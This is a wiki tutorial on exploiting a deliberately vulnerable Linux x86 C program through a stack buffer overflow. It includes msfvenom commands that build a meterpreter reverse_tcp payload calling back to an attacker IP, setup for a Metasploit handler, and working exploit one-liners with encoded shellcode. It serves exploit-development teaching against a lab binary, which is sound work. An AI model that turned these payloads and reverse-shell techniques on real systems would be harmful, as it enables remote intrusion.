Travis x86 bof tutorial 02

From JaxHax
Jump to: navigation, search

Lessons Index

Lessons Index - See all lessons here.


Downloads

Download Link: X86_linux_bof_tut02_v1.0.tar.gz
File Size: 5,569 bytes
MD5 Sum: 0e1206a8a649c7a2cc6e25a7fd3844d0


Lesson Objective

In this lesson, you will attempt using a buffer overflow to overwrite the return address and hijack execution flow of a program to make it do something it wasn't intended to do; in this case, run shellcode you provided. Shellcode is raw binary code that the processor would execute.


his example is designed to be simple to follow, even for the absolute beginner; it will display addresses in the program output which means this lesson can be completed without ever using a debugger. However the walk through will not show how to do so with a debugger in this lesson, but it is encouraged that you do so as later lessons will not provide addresses like this. This is the first lesson so for now you have some training wheels, however you should learn to not be dependent on those and learn how to do it without these features. If you need a primer on GDB and debugging in Linux, see here. The first few lessons are designed to remove some complexity but once you understand it you should do it manually as well with a debugger while you have the addresses printed to help you verify your work. This will be the last lesson to include address dumping in the output. After this one, YOU WILL NEED TO USE A DEBUGGER.


What You Should Take Away From This Lesson

  • What is a payload, shellcode, and how to generate it.
    • You may use msfvenom, shellstorm, or code it yourself.
  • Deal with minor bad character limitations in the shellcode.
  • Exploit the buffer overflow and point it to your shellcode payload.


Source Code

/////////////////////////////////////////////////////////////////////
//
// Program: x86_linux_bof_tut02.c
//
// Version: v1.0
//
// Date: 04/25/2016
//
// Author: Travis Phillips
//
// Website: http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series
//
// Purpose: To provide an example binary that demos using a buffer
//          overflow to overwrite the return address to hijack
//          execution flow of a program and make it do something it
//          wasn't supposed to do; in this case, jump to a payload
//          stored at a fixed address the user provides to a global
//          var
//
// Lessons you should learn:
//      - What is a payload, shellcode, and how to generate it.
//          - You may use msfvenom, shellstorm, or code it yourself.
//      - Deal with minor bad character limitations in the shellcode.
//      - Exploit the buffer overflow and point it to your shellcode payload.
//
// Compile: gcc -m32 -fno-stack-protector -zexecstack x86_linux_bof_tut02.c -o x86_linux_bof_tut02
//
// License: Creative Commons Attribution + ShareAlike (CC BY-SA).
//
// License Notice: You are free to copy, share, and modify the work here.
//                 You must however credit the author and website of the
//                 original work and keep this license notice. The share-alike
//                 also requires the license of the work stay on a similar license.
//
/////////////////////////////////////////////////////////////////////
 
#include <stdio.h>   // stardard library
#include <string.h>  // for strcpy()
#include <stdlib.h>  // for exit()
 
////////////////////////////////////////////
// Constants
////////////////////////////////////////////
static const char TITLE[] = "BoF Tutorial Two";
static const char VERSION[] = "v1.0";
static const int ARGCOUNT = 3;
static const char ARGSTR[] = "[Payload] [String]";
static const char OBJECTIVE[] = "Exploit Bof and run your payload!";
static const char * const OBJECTIVES[] = {
	"\t- What is a payload, shellcode, and how to generate it.",
	"\t\t- You may use msfvenom, shellstorm, or code it yourself.",
	"\t- Deal with minor bad character limitations in the shellcode.",
	"\t- Exploit the buffer overflow and point it to your shellcode payload."
};
 
////////////////////////////////////////////
// Support Functions - You can ignore these
////////////////////////////////////////////
 
// A basic banner printer function. This is here to make my life easier.
void printBanner() {
	printf("\n\t\033[1m---===[ %s %s ]===---\033[0m\n", TITLE, VERSION);
	printf("\t\t\033[33;1mCode By:\033[0m Travis Phillips\n");
	printf("\t\t\033[33;1mWebsite:\033[0m http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series\n\n");
}
 
// A function to print the objective.
void printObjective() {
	// Let the user know the objective
	printf(" [*] \033[31;1mObjective\033[0m: %s\n", OBJECTIVE);
}
 
// A function to make sure we got the required arguments. if not then
// print the usage and objectives of the lesson and exit.
void checkArgs(int argc, char *prog_name) {
	size_t i = 0;
	if (argc != ARGCOUNT) {
		printf(" [*] \033[33;1mUsage\033[0m: %s %s\n\n", prog_name, ARGSTR);
		puts(" [*] \033[32;1mLessons you should learn\033[0m:");
		for(i = 0; i < sizeof(OBJECTIVES) / sizeof(OBJECTIVES[0]); i++){
			printf("%s\n", OBJECTIVES[i]);
		}
		printf("\n");
		exit(0);
	}
}
 
////////////////////////////////////////////
// Unique Code to This Lesson
////////////////////////////////////////////
 
// a global variable for storing the payload.
char payload[1024];
 
// a function with a vulnerability that is called from main()
void vuln(char *data){
	// declare a local buffer of 256 bytes.
	char buffer[256];
 
	// Let the user know they are in vuln.
	puts(" [*] in vuln()");
 
	// Show them the current return address on the stack for reference.
	printf(" [*] Return address from vuln() is currently: 0x%08x\n", __builtin_return_address(0));
 
	// Perform a strcpy. This is the vulnerable code since we don't know
	// if the data will fit.
	puts(" [*] Begining strcpy to local buffer...");
	strcpy(buffer, data);
	puts(" [*] strcpy to local char buffer complete");
 
	// Print the return address again, this will let the user see if the overflow occurred.
	printf(" [*] Return address from vuln() is currently: 0x%08x\n", __builtin_return_address(0));
 
	// Let the user know they will be returning from main.
	puts(" [*] Returning from Vuln()");
}
 
// main() is the start of the program.
int main(int argc, char **argv) {
	int length = 0; // for getting the payload length.
 
	// Print the banner.
	printBanner();
 
	// Print the objective.
	printObjective();
 
	// Check if we got an argument. If not, print the usage.
	checkArgs(argc, argv[0]);
 
	// Make sure the payload buffer is zero'd out.
	memset(payload, 0x0, sizeof(payload));
 
	// get the length of the provided payload.
	length = strlen(argv[1]);
 
	// Check if the user-provided payload is bigger than the payload buffer.
	if (length >= sizeof(payload)) {
		// If it is, error out.
		printf("\n \033[31;1m[*] ERROR: Your payload is to big! Must be %d or smaller!\n\n\033[0m", (sizeof(payload) -1));
		return 1;
	}
 
	// Else we will copy it into the buffer and tell the user where it is.
	strncpy(payload, argv[1], (sizeof(payload) -1));
	printf(" [*] Current address of your payload is: 0x%08x\n", payload);
 
	// Call the vulnerable function.
	puts(" [*] Calling Vuln()");
	vuln(argv[2]);
 
	// Let the user know they are back in main.
	puts(" [*] Back in main()");
 
	// Let the user know it is exiting normally.
	puts(" [*] Exiting program normally\n");
	return 0;
}


Code Breakdown

So at a glance, there appears to be a lot going on here. Truth is, there isn't. A lot of it is there just to template the code, as I pointed out in the first lesson. I will cover the "Template Code" one last time, after this, they will be omitted from the code breakdowns as it should be clear what they are there for.


As for code you will be interested in, it is all under the "Unique Code" comment section. Basically we have our vuln() function again, which is the same as it was from lesson 1 but with a different buffer size this time so you will have to determine the size to the RET overwrite again.


Top Comment Block

/////////////////////////////////////////////////////////////////////
//
// Program: x86_linux_bof_tut02.c
//
// Version: v1.0
//
// Date: 04/25/2016
//
// Author: Travis Phillips
//
// Website: http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series
//
// Purpose: To provide an example binary that demos using a buffer
//          overflow to overwrite the return address to hijack
//          execution flow of a program and make it do something it
//          wasn't supposed to do; in this case, jump to a payload
//          stored at a fixed address the user provides to a global
//          var
//
// Lessons you should learn:
//      - What is a payload, shellcode, and how to generate it.
//          - You may use msfvenom, shellstorm, or code it yourself.
//      - Deal with minor bad character limitations in the shellcode.
//      - Exploit the buffer overflow and point it to your shellcode payload.
//
// Compile: gcc -m32 -fno-stack-protector -zexecstack x86_linux_bof_tut02.c -o x86_linux_bof_tut02
//
// License: Creative Commons Attribution + ShareAlike (CC BY-SA).
//
// License Notice: You are free to copy, share, and modify the work here.
//                 You must however credit the author and website of the
//                 original work and keep this license notice. The share-alike
//                 also requires the license of the work stay on a similar license.
//
/////////////////////////////////////////////////////////////////////

First section is comments that just provide information about the program. Anything from "//" to the end of the line is considered to a comment. Comments are ignored by the compiler, they are just there for the developer to leave notes on the code. These aren't put into binary in anyway. So you can ignore comments. They are just useful for understanding what's going on, assuming the developer wrote good comments.


An important section to be aware of here is the "compile:" section. This gives you the commandline I used to build the program. In this case I use the "-m32" switch which forces it to build the program in a 32-bit architecture and "-fno-stack-protector" which ensures stack canaries are turned off (on Debian they aren't used by default but on Ubuntu they are. They are a marker that is put on the stack above the EBP and ESP values that are saved on the stack. If these "canaries" are corrupted then it is safe to assume "stack smashing" aka a buffer overflow or some other memory corruption bug occurred, and the program should exit and dump the core). I also used another switch that is new to this example which is "-zexecstack". This switch effectively disables DEP on the binary so the whole program should be marked as read, write, execute. The reason for this is that if we omitted this, the payload[] array variable wouldn't be executable. For now we will disable DEP. In the first lesson the goal was to get comfortable with exploiting a buffer overflow, and in this lesson I just want to focus on getting comfortable with generating shellcode and executing it. It later lessons, we will re-enable DEP and worry about overcoming it. For now, let's not worry about that, I want you to become comfortable with just the basics so you aren't worried about them when working on more complex problems.


Includes

#include <stdio.h>   // stardard library
#include <string.h>  // for strcpy()
#include <stdlib.h>  // for exit()

This section is simply telling the compiler to link the headers for some standard libraries into the program. Comments are to the right of them that explain why they are there.


Constants Section

////////////////////////////////////////////
// Constants
////////////////////////////////////////////
static const char TITLE[] = "BoF Tutorial Two";
static const char VERSION[] = "v1.0";
static const int ARGCOUNT = 3;
static const char ARGSTR[] = "[Payload] [String]";
static const char OBJECTIVE[] = "Exploit Bof and run your payload!";
static const char * const OBJECTIVES[] = {
	"\t- What is a payload, shellcode, and how to generate it.",
	"\t\t- You may use msfvenom, shellstorm, or code it yourself.",
	"\t- Deal with minor bad character limitations in the shellcode.",
	"\t- Exploit the buffer overflow and point it to your shellcode payload."
};

This section is just some constants to make my life as the developer easier by centralizing all the values that need to be updated from lesson to lesson in one spot. Since these are just some simple values and marked as constants, it shouldn't matter to the you as the hacker.


Support Function Section

////////////////////////////////////////////
// Support Functions - You can ignore these
////////////////////////////////////////////
 
// A basic banner printer function. This is here to make my life easier.
void printBanner() {
	printf("\n\t\033[1m---===[ %s %s ]===---\033[0m\n", TITLE, VERSION);
	printf("\t\t\033[33;1mCode By:\033[0m Travis Phillips\n");
	printf("\t\t\033[33;1mWebsite:\033[0m http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series\n\n");
}
 
// A function to print the objective.
void printObjective() {
	// Let the user know the objective
	printf(" [*] \033[31;1mObjective\033[0m: %s\n", OBJECTIVE);
}
 
// A function to make sure we got the required arguments. if not then
// print the usage and objectives of the lesson and exit.
void checkArgs(int argc, char *prog_name) {
	size_t i = 0;
	if (argc != ARGCOUNT) {
		printf(" [*] \033[33;1mUsage\033[0m: %s %s\n\n", prog_name, ARGSTR);
		puts(" [*] \033[32;1mLessons you should learn\033[0m:");
		for(i = 0; i < sizeof(OBJECTIVES) / sizeof(OBJECTIVES[0]); i++){
			printf("%s\n", OBJECTIVES[i]);
		}
		printf("\n");
		exit(0);
	}
}

This section contains some functions which will likely be used in all lessons, there are 3 functions here that kinda help with some simple consistent formatting between different lessons. One function prints the banner, The next prints the objective, and the last one checks that it got the required arguments, and acts accordingly. These are the functions that react to the constants sections.


"Unique Code" Comment Header

////////////////////////////////////////////
// Unique Code to This Lesson
////////////////////////////////////////////

This comment is the indicator to look for it. I will try to keep unique code that is related to the lesson BELOW this comment.


main() Function

// main() is the start of the program.
int main(int argc, char **argv) {
	int length = 0; // for getting the payload length.
 
	// Print the banner.
	printBanner();
 
	// Print the objective.
	printObjective();
 
	// Check if we got an argument. If not, print the usage.
	checkArgs(argc, argv[0]);
 
	// Make sure the payload buffer is zero'd out.
	memset(payload, 0x0, sizeof(payload));
 
	// get the length of the provided payload.
	length = strlen(argv[1]);
 
	// Check if the user-provided payload is bigger than the payload buffer.
	if (length >= sizeof(payload)) {
		// If it is, error out.
		printf("\n \033[31;1m[*] ERROR: Your payload is to big! Must be %d or smaller!\n\n\033[0m", (sizeof(payload) -1));
		return 1;
	}
 
	// Else we will copy it into the buffer and tell the user where it is.
	strncpy(payload, argv[1], (sizeof(payload) -1));
	printf(" [*] Current address of your payload is: 0x%08x\n", payload);
 
	// Call the vulnerable function.
	puts(" [*] Calling Vuln()");
	vuln(argv[2]);
 
	// Let the user know they are back in main.
	puts(" [*] Back in main()");
 
	// Let the user know it is exiting normally.
	puts(" [*] Exiting program normally\n");
	return 0;
}

The main() function in C/C++ is the function that will be ran when the program is loaded up and ran. Therefore it is important during a code audit to find this section and start there. This instance of main is simple and not that different from the first run. The only major difference here is we do some code to setup the payload with memset(). This makes sure it is zeroed out. Then we use strlen() to ensure the user's payload is smaller than our buffer by one byte so it won't overflow and will be null terminated. if it is too large, then we print an error about it being too large and exit; otherwise we will copy it it into our buffer.


vuln() Function

// a function with a vulnerability that is called from main()
void vuln(char *data){
	// declare a local buffer of 256 bytes.
	char buffer[256];
 
	// Let the user know they are in vuln.
	puts(" [*] in vuln()");
 
	// Show them the current return address on the stack for reference.
	printf(" [*] Return address from vuln() is currently: 0x%08x\n", __builtin_return_address(0));
 
	// Perform a strcpy. This is the vulnerable code since we don't know
	// if the data will fit.
	puts(" [*] Begining strcpy to local buffer...");
	strcpy(buffer, data);
	puts(" [*] strcpy to local char buffer complete");
 
	// Print the return address again, this will let the user see if the overflow occurred.
	printf(" [*] Return address from vuln() is currently: 0x%08x\n", __builtin_return_address(0));
 
	// Let the user know they will be returning from main.
	puts(" [*] Returning from Vuln()");
}

vuln() is exactly the same as the first lesson except that the buffer is a different size now (256 vs 120).


Walkthrough

So, let's just run it and see the usage and objectives. As we can see below, this binary takes two arguments, the first is a payload, the second is a string. The payload is the binary payload we want it to run. The string argument will be the string we will use to trigger the buffer overflow.


X86 linux bof02 usage.png


What's the Difference with Payload vs Shellcode

Shellcode is binary that is valid code for whatever architecture it is to run against. A Payload is what the exploit should trigger. The payload is often going to shellcode, but it might not be; it could be a rop chain (which is a fake set of stack frames, we will go over this in later lessons). The best analogy I have heard to describe the exploit parts is a multi-stage missile. The missile consist of several parts that all serve different purposes. The fuel and rocket part of a missile could be thought of as the "Exploit". The tip of the missile, which is called the payload, can be thought of as the "Payload", the shellcode could can be thought of as what's inside the payload. In missiles, the payload is often an explosive, however it could be a chemical/bio agent or even just a satellite to release in orbit; in our world, the payload is often shellcode, but could be a ROP chain. The fuel and rocket part of a missile acts as the delivery system to get our payload where it needs to go and activates it; that's what our exploit is for in our world, it delivers and triggers the payload.


Exploit Rocket Compare.png


Basic information

Just like in the first lesson, the best place to start is with "file" and "checksec.sh". First we will start with using the "file" command. The file command will try to display use information about a file that is passed to it. To run the file command, in a terminal just type "file <path_to_file>". So let's run file against the provided binary in this lesson:


X86 linux bof02 file.png


Based on the information in the output from the command, we can see:

  • It is an ELF binary, which is a type of executable program format in Linux.
  • It is a 32 bit binary for the Intel x86 architecture.
  • It is dynamically linked, which means it will import libraries (this is common for C programs and a default for the compiler unless it is told to do it statically)
  • It uses /lib/ld-linux.so.2 to load and "interpret" the ELF file.
  • That this is for Linux.
  • That it is *NOT* stripped. This means the debug symbols are not stripped out of it. GDB will be able to label functions for us. This is very useful when you have to debug it.


File provided us with a wealth of information. Let's get more by using checksec.sh. The checksec.sh script will attempt to determine what security countermeasures are in place on the binary. To use checksec.sh, run "checksec.sh --file <Path_to_ELF_binary>" in a terminal. Alternatively, this functionality is built into GDB-PEDA, just run "checksec" in GDB with the PEDA.py plug-in loaded and it will run it against the binary that it is debugging:


Checksec.sh script in action: X86 linux bof02 checksec.png


Based on this information we know we don't have to deal with stack canaries or DEP. ASLR is enabled, however it won't affect us since the executable isn't shifting around (that would happen if PIE was enabled, but it's not.)


Let's Map Out Our Objectives

Roadmaps are kinda handy, so let's outline what we need to do for this one:

  • Find the offset to overwrite the saved return address on the stack.
  • Generate or build the shellcode.
  • Make a final bof exploit that will point to our "payload".


Finding the Return Overwrite Offset

This was covered in the first lesson with two methods. In my case, I'm lazy and will use Metasploit's pattern_create.rb and pattern_offset.rb scripts to make finding the offset quick and easy for this go. If you need a refresh on this then click here. First generate the pattern:


X86 linux bof02 pattern create.png


Next deploy the pattern into the program. The program takes two arguments, the first is the payload, the second is the string. They are both required. We don't care about the payload so just put something there as a value. The pattern should be the second argument as seen below.


X86 linux bof02 pattern deployed.png


Now we can see it crashed and the second return address printed in the vuln() function is within range of ASCII values. Let's provide it to pattern_offset.rb and see if it finds a match:


X86 linux bof02 pattern offset.png


Great, one last test to verify this is correct and that we can control the EIP. We will use PERL to place "A"'s to that matched offset of 268, then try to overwrite the return address with "BBBB" (which is 0x42424242 in hex) and see if we control the return address.


X86 linux bof02 pattern offset verify.png


Looks like we can control the EIP using a buffer overflow and now we know the exact address to control the return address. Now let's focus on the payload portion of this.


A Note on Bad Characters

strcpy stops reading when it encounters a null byte (0x00). That said you can't have a payload with null bytes in it or strcpy() will not carry anything past it. In the real world you may encounter other issues like this. It is very common for a newline or white spaces to cause issues as well. I will create an example later that will have some filters that will make it so you will have to deal with these issues as well. However if the overflow is a result of a string based function, go ahead and assume nulls won't work and I would suggest trying to avoid newlines as well.


Generating a Payload: Using MsfVenom

MsfVenom is a useful tool for generating a payload and it also has built in encoders and ties into the Metasploit Framework so you can use the exploit/multi/handler to catch and handle the payload. This is really useful for getting a meterpreter session if you don't have the time to write an exploit module. To generate a payload with msfvenom there are a few steps you will need to go through. Below is a screenshot of it's help output. After this section we will walk through the sections that are important to generate a payload.


X86 linux bof02 msfvenom help.png


Generating a Payload: Using MsfVenom - Listing the Payloads

Msfvenom has a ton of payloads for a variety of operating systems and architecture. You will want to see what is there for the system you are targeting, in this case x86 Linux so focus on those. If you installed Metasploit yourself, you may need to go the the root of the msf install and run msfvenom from there. If you are on Kali Linux I believe it is setup with a script in the path so you can run it from anywhere. To list the payloads run the following command:


msfvenom --list

OR

msfvenom -l


X86 linux bof02 msfvenom payload listing cmd.png


Will need to find a payload starts with "linux/x86/" like the ones shown below. I would recommend "linux/x86/meterpreter/reverse_tcp" which requires msfconsole to handle, or "linux/x86/shell_reverse_tcp" which doesn't since this one isn't staged (not to be mistaken with "linux/x86/shell/reverse_tcp" which is staged).

"Staged" in regards to a payload means it operates in "stages", much like a model rocket might have a multi-staged engine. This is designed to make the payload smaller. Basically the first stage of the payload is the one you include with exploit, it will allocate space in memory, then connect back or wait for a connection, and ask Metasploit for the rest of the payload. Metasploit will give it the rest of the payload and the stager will drop it into the allocated space in memory, set it executable, and jump to it.


X86 linux bof02 msfvenom payload listing.png


Once you see a payload you like, you can tell msfvenom to use it with the "-p" or "--payload" switch.


Generating a Payload: Using MsfVenom - Seeing the Payload Options

To see the payload options, use the "-p" or "--payload" switch with a payload and also provide the "--payload-options" switch. Example:


msfvenom --payload linux/x86/meterpreter/reverse_tcp --payload-options


OR


msfvenom --p linux/x86/meterpreter/reverse_tcp --payload-options


It will tell you what options can be set for the payload you selected. You will list these options at the very end of the command using a "var=value" format. LHOST as you can see in the screen shot refers to "Local HOST", You will want to provide your IP on that one. LPORT stands for "Local PORT", this is the port the handler will be listening on your system.


X86 linux bof02 msfvenom payload options.png


Generating a Payload: Using MsfVenom - Listing the Output Formats

By default, msfvenom will dump your payload a raw binary, which isn't useful to us. We will want it to put it into some sort of hex encode string. To list the payload output formats, use the "--help-formats" switch with nothing else and it will dump a list of payload formats for output. Most of the scripting languages will work (example: py or perl).


X86 linux bof02 msfvenom format listing.png


Generating a Payload: Using MsfVenom - Specifying Bad Characters

As we mentioned earlier, You will have bad character limitations that need to be addressed when generating a payload. msfvenom addresses this issue using something called "encoders". Basically this will attempt to encode the payload so it doesn't contain the bad char then it attaches a decoder stub to the start of the encoded payload so it will be decoded at runtime. With that said, msfvenom will need to know what characters it needs to try and avoid. We can specify this with the "-b" or "--bad-chars" switch, followed by a hex encode string of the characters we want it to avoid. To keep things simple, lets block newlines and whitespaces with "\x00\x09\x0a\x0b\x0d\x20"


Generating a Payload: Using MsfVenom - Putting It All Together

Now we have everything we need to know to generate a payload a x86 Linux meterpreter reverse TCP payload. My IP is currently 172.16.1.10, let's do this!


msfvenom --payload linux/x86/meterpreter/reverse_tcp --bad-chars "\x00\x09\x0a\x0b\x0d\x20" --format py LHOST=172.16.1.10 LPORT=4444


X86 linux bof02 msfvenom Payload Generated.png


As you can see, it generated the payload using the "x86/shikata_ga_nai" encoder and avoided our bad chars. It is multi-lined so just copy it into a notepad and make it a one-liner so you can pass it using command substitution.


Using MsfConsole to Catch Payloads

Since we know the payload will be in need of a Metasploit payload handler, let's open another shell and setup that handler using msfconsole. In another shell run the "msfconsole" command.


msfconsole


X86 linux bof02 msfconsole start.png


Once you are in a shell you will need to run a few commands. First is "use exploit/multi/handler". This command is a catch all handler for handling payloads when they come in. Next you will need to specify your payload using "set PAYLOAD <insert_the_payload_you_used_on_msfvenom_here>". This command is case sensitive and PAYLOAD needs to be in caps. Next you need to run two more commands: "set LHOST <value_you_gave_to_msfvenom>" and "set LPORT <value_you_gave_to_msfvenom>". Finally, kick the handler off by running the "exploit" command. It will start the handler and just sit there, just leave it running.


X86 linux bof02 msfconsole handler.png


Generating a Payload: Using NASM and Assembly

If you are interested in building a custom payload, you should give it a try. For some information on going this route, check out my old presentation from Bside Jax here.


Putting It All Together

So we know the offset to overflow the return address and have a payload, a Metasploit handler, and the address where the payload will be in memory of our program. Now we just need to make our exploit overwrite the return to point to our payload and and provide the payload.


Final Exploits

I had two final exploits for this one. The first one is the one following this tutorial, it will give me a meterpreter session on the box. The second is using a simple "write string" payload that will show a message I specified using a custom payload.


Final Exploit - Meterpreter Session

$ ./x86_linux_bof_tut02 $(echo -ne "\xda\xd5\xd9\x74\x24\xf4\xb8\x1c\x15\x0f\xc2\x5a\x33\xc9\xb1\x12\x31\x42\x1a\x83\xea\xfc\x03\x42\x16\xe2\xe9\x24\xd4\x35\xf2\x14\xa9\xea\x9e\x98\x9d\x6b\xd7\x7c\x10\xf3\x70\x25\xc3\x58\x6e\xdb\x19\xc9\x8c\xdb\x0c\x55\x19\x3a\x44\x03\x41\xed\xc8\x9c\xf8\xec\xa8\xef\x7a\x5c\x29\x49\x7a\xb1\x36\xa9\xf3\x52\xf7\x42\x0f\x54\x1b\x98\xbf\x2b\x11\x21\xe4\x5a\x48\xbb\xac\x51\x3b\xbf\x1d\xe9\xc4\x21") $(perl -e 'print "A"x268; print "\x80\x91\x04\x08"')
 
	---===[ BoF Tutorial Two v1.0 ]===---
		Code By: Travis Phillips
		Website: http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series
 
 [*] Objective: Exploit Bof and run your payload!
 [*] Current address of your payload is: 0x08049180
 [*] Calling Vuln()
 [*] in vuln()
 [*] Return address from vuln() is currently: 0x08048793
 [*] Begining strcpy to local buffer...
 [*] strcpy to local char buffer complete
 [*] Return address from vuln() is currently: 0x08049180
 [*] Returning from Vuln()


X86 linux bof02 final exploit with meterpreter.png


Final Exploit - Write String Payload

Here was the code I used for my payload:


global _start
 
_start:
	xor	eax, eax		; clear EAX
	xor	ebx, ebx		; clear EBX
	mov	edx, esp		; move the stack pointer to edx, we are logging it
						; so we can determine string size.
 
	; Push the string to the stack. xor encoded against 0x46
	push 0x4c666666
	push 0x6f7a1819
	push 0x186e7a66
	push 0x67352f30
	push 0x27341266
	push 0x3f046622
	push 0x75283116
	push 0x66786f18
	push 0x1918786e
	push 0x661b6c1d
	push 0x2b777d74
	push 0x751d5d66
 
	; xor decode the string.
	sub	edx, esp		; get the string size.
	mov ecx, edx		; move the size into ecx (loop counter)
loop:
	xor BYTE [esp+ecx], 0x46	; xor the byte.
	dec ecx						; decrement counter
	cmp ecx, ebx				; see counter < 0
	jge loop					; if not, loop again.
 
	; sys_write()
	mov	al, 4			; set eax to 4 - sys_write()
	mov	bl, 1			; set ebx to 1 - stdout		
	mov	ecx, esp		; Place pointer to string on in ECX.
	int	0x80			; invoke the syscall.
 
	; sys_exit()
	xor	eax, eax		; clear EAX
	inc	eax				; increment EAX to 1 - sys_exit()
	int	0x80			; invoke the syscall.


When Covered to Binary becomes:


-=[ Extracted Shellcode (Length: 92) ]=-
 
\x31\xc0\x31\xdb\x89\xe2\x68\x66\x66\x66\x4c\x68\x19\x18\x7a\x6f\x68\x66\x7a\x6e\x18\x68\x30\x2f\x35\x67\x68\x66\x12\x34\x27\x68\x22\x66\x04\x3f\x68\x16\x31\x28\x75\x68\x18\x6f\x78\x66\x68\x6e\x78\x18\x19\x68\x1d\x6c\x1b\x66\x68\x74\x7d\x77\x2b\x68\x66\x5d\x1d\x75\x29\xe2\x89\xd1\x80\x34\x0c\x46\x49\x39\xd9\x7d\xf7\xb0\x04\xb3\x01\x89\xe1\xcd\x80\x31\xc0\x40\xcd\x80


and as an exploit:


$ ./x86_linux_bof_tut02 $(echo -ne "\x31\xc0\x31\xdb\x89\xe2\x68\x66\x66\x66\x4c\x68\x19\x18\x7a\x6f\x68\x66\x7a\x6e\x18\x68\x30\x2f\x35\x67\x68\x66\x12\x34\x27\x68\x22\x66\x04\x3f\x68\x16\x31\x28\x75\x68\x18\x6f\x78\x66\x68\x6e\x78\x18\x19\x68\x1d\x6c\x1b\x66\x68\x74\x7d\x77\x2b\x68\x66\x5d\x1d\x75\x29\xe2\x89\xd1\x80\x34\x0c\x46\x49\x39\xd9\x7d\xf7\xb0\x04\xb3\x01\x89\xe1\xcd\x80\x31\xc0\x40\xcd\x80") $(perl -e 'print "A"x268; print "\x80\x91\x04\x08"')
 
	---===[ BoF Tutorial Two v1.0 ]===---
		Code By: Travis Phillips
		Website: http://wiki.jaxhax.org/index.php/Travis%27_x86_Linux_Buffer_Overflow_Tutorial_Series
 
 [*] Objective: Exploit Bof and run your payload!
 [*] Current address of your payload is: 0x08049180
 [*] Calling Vuln()
 [*] in vuln()
 [*] Return address from vuln() is currently: 0x08048793
 [*] Begining strcpy to local buffer...
 [*] strcpy to local char buffer complete
 [*] Return address from vuln() is currently: 0x08049180
 [*] Returning from Vuln()


X86 linux bof02 final exploit with write string payload.png


How Could This of Been Avoided?

Same issue that was in the first tutorial. The problem again was using strcpy() without bounds checking.


Review and Additional Exercises

So from this lesson, make sure you understand:

  1. What is a payload and shellcode.
  2. How to create a payload.
  3. Dealing with character limitations.
  4. How shellcode can be used to make a program do something it wasn't intended to do.


Exercises for the reader (optional, but a good idea to reinforce what you've learned):

  • Take some time to really understand these concepts above.
  • Take some time to place your final exploit into a script (bash, python, perl, etc. Whatever you prefer) you can simply call to exploit the binary. This will help later on when you will have to script an exploit for it to be dynamic in later lessons.
  • Take some time to edit the source code file and make a "fixed version" of this code that is no longer vulnerable using one of the methods in the "How Could This of Been Avoided?" section. Compile it and work through the detection process again to verify if it worked or not.
  • Take some time and play around with NASM and try to create a custom payload.
  • Play around with some of the other payloads in metasploit.
  • Take some time to get more comfortable with msfconsole and msfvenom.